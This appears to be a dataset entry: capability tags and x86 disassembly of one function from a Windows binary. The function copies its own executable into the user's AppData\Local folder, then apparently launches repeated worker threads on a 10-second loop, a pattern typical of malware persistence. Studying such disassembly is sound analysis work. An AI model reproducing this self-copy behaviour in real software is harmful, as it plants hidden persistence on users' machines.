Function at 0x10006f21
Capabilities:
Copy file
Get session user name

Disassembly:
push 0x4b0
mov eax, 0x1016a816
call fcn.1014fc54
push 0x104
lea eax, [ebp - 0x114]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x31c]
push eax
mov dword [ebp - 0x40c], 0x101
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x114]
push 0x5c
push eax
call fcn.1014f75b
inc eax
push eax
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x218]
push str.C:Users_sAppDataLocal_s
push eax
call fcn.1015099a
add esp, 0x18
push edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x3fc]
push eax
call fcn.10005024
lea eax, [ebp - 0x3a8]
push eax
mov dword [ebp - 4], edi
call fcn.10006cdc
xor ebx, ebx
lea eax, [ebp - 0x338]
inc ebx
push eax
mov byte [ebp - 4], bl
call fcn.10005043
push eax
lea eax, [ebp - 0x3a8]
push eax
lea eax, [ebp - 0x370]
push eax
mov byte [ebp - 4], 2
call fcn.10003dfd
add esp, 0x18
push edi
push ebx
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 4
call fcn.10001c1f
lea eax, [ebp - 0x3e0]
push eax
call fcn.1000544f
push eax
lea eax, [ebp - 0x3a8]
push eax
lea eax, [ebp - 0x354]
push eax
mov byte [ebp - 4], 5
call fcn.10003dfd
add esp, 0x10
push edi
push ebx
lea ecx, [ebp - 0x3e0]
mov byte [ebp - 4], 7
call fcn.10001c1f
lea eax, [ebp - 0x338]
push eax
call fcn.10005677
push eax
lea eax, [ebp - 0x3a8]
push eax
lea eax, [ebp - 0x38c]
push eax
mov byte [ebp - 4], 8
call fcn.10003dfd
add esp, 0x10
push edi
push ebx
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0xa
call fcn.10001c1f
cmp dword [ebp - 0x35c], 0x10
mov eax, dword [ebp - 0x370]
jae 0x10007081
lea eax, [ebp - 0x370]
push ebx
push 0x40
push 0x24
push eax
lea ecx, [ebp - 0x4bc]
call fcn.100068af
lea eax, [ebp - 0x334]
push eax
lea ecx, [ebp - 0x4bc]
mov byte [ebp - 4], 0xb
call fcn.100017f9
mov esi, dword [eax + 8]
add esi, dword [eax]
push esi
call fcn.1005b229
pop ecx
push edi
push edi
push edi
lea ecx, [ebp - 0x4bc]
mov ebx, eax
call fcn.10001f56
mov eax, esi
cdq
push edx
push eax
push ebx
lea ecx, [ebp - 0x4bc]
call fcn.100030b0
lea ecx, [ebp - 0x4bc]
call fcn.10003cc3
add esi, 0xfff2cffa
push esi
call fcn.1005b229
push esi
push edi
push eax
push 0xd3006
push ebx
mov dword [ebp - 0x400], eax
call fcn.10001197
push 6
call fcn.1005b229
push 6
push edi
push eax
push 0xd3000
push ebx
mov dword [ebp - 0x408], eax
call fcn.10001197
push 6
push dword [ebp - 0x408]
lea eax, [ebp - 0x3c4]
push eax
call fcn.100067f5
push 0x101dbdb8
push 0x101dbdc8
push esi
push edi
push dword [ebp - 0x400]
mov byte [ebp - 4], 0xc
call fcn.100036e1
mov eax, dword [ebp - 0x354]
add esp, 0x50
cmp dword [ebp - 0x340], 0x10
mov dword [ebp - 0x404], edi
jae 0x10007169
lea eax, [ebp - 0x354]
push eax
call fcn.10006666
pop ecx
test al, al
je 0x100071d6
push 0x101cdd20
mov ecx, 0x101dbda8
call fcn.10006849
mov eax, dword [0x101dbdc8]
push dword [eax]
mov eax, dword [0x101dbdb8]
push dword [eax]
lea eax, [ebp - 0x3c4]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x400], esp
push eax
call fcn.1000308a
call fcn.1000233a
mov ecx, dword [0x101dbda8]
mov dword [ecx], eax
mov eax, dword [0x101dbda8]
mov ecx, dword [0x101dbdb8]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x404]
push eax
push edi
push dword [0x101dbda8]
jmp 0x1000725c
cmp dword [ebp - 0x378], 0x10
mov eax, dword [ebp - 0x38c]
jae 0x100071eb
lea eax, [ebp - 0x38c]
push eax
call fcn.10006666
pop ecx
test al, al
je 0x10007270
push 0x101cdd20
mov ecx, 0x101dbda8
call fcn.10006849
mov eax, dword [0x101dbdc8]
push dword [eax + 4]
mov eax, dword [0x101dbdb8]
push dword [eax + 4]
lea eax, [ebp - 0x3c4]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x400], esp
push eax
call fcn.1000308a
call fcn.1000233a
mov ecx, dword [0x101dbda8]
mov dword [ecx + 8], eax
mov eax, dword [0x101dbdb8]
mov ecx, dword [0x101dbda8]
add eax, 4
mov dword [ecx + 0xc], eax
lea eax, [ebp - 0x404]
push eax
mov eax, dword [0x101dbda8]
push edi
add eax, 8
push eax
push 0x100011bd
push edi
push edi
call fcn.100066ec
add esp, 0x3c
jmp 0x10007336
mov eax, dword [0x101dbdcc]
mov ecx, eax
sub ecx, dword [0x101dbdc8]
xor esi, esi
sar ecx, 2
test ecx, ecx
je 0x100072f4
push 0x101cdd20
mov ecx, 0x101dbda8
call fcn.10006849
mov eax, dword [0x101dbdc8]
push dword [eax + esi*4]
mov eax, dword [0x101dbdb8]
push dword [eax + esi*4]
lea eax, [ebp - 0x3c4]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x400], esp
push eax
call fcn.1000308a
call fcn.1000233a
mov ecx, dword [0x101dbda8]
mov dword [ecx + esi*8], eax
mov eax, dword [0x101dbdb8]
mov ecx, dword [0x101dbda8]
lea eax, [eax + esi*4]
mov dword [ecx + esi*8 + 4], eax
mov eax, dword [0x101dbdcc]
mov ecx, eax
sub ecx, dword [0x101dbdc8]
add esp, 0x24
inc esi
sar ecx, 2
cmp esi, ecx
jb 0x10007286
sub eax, dword [0x101dbdc8]
xor esi, esi
sar eax, 2
test eax, eax
je 0x10007336
lea eax, [ebp - 0x404]
push eax
mov eax, dword [0x101dbda8]
push edi
lea eax, [eax + esi*8]
push eax
push 0x100011bd
push edi
push edi
call fcn.100066ec
mov eax, dword [0x101dbdcc]
sub eax, dword [0x101dbdc8]
add esp, 0x18
inc esi
sar eax, 2
cmp esi, eax
jb 0x10007303
push 0x2710
call fcn.10006787
pop ecx
jmp 0x10007336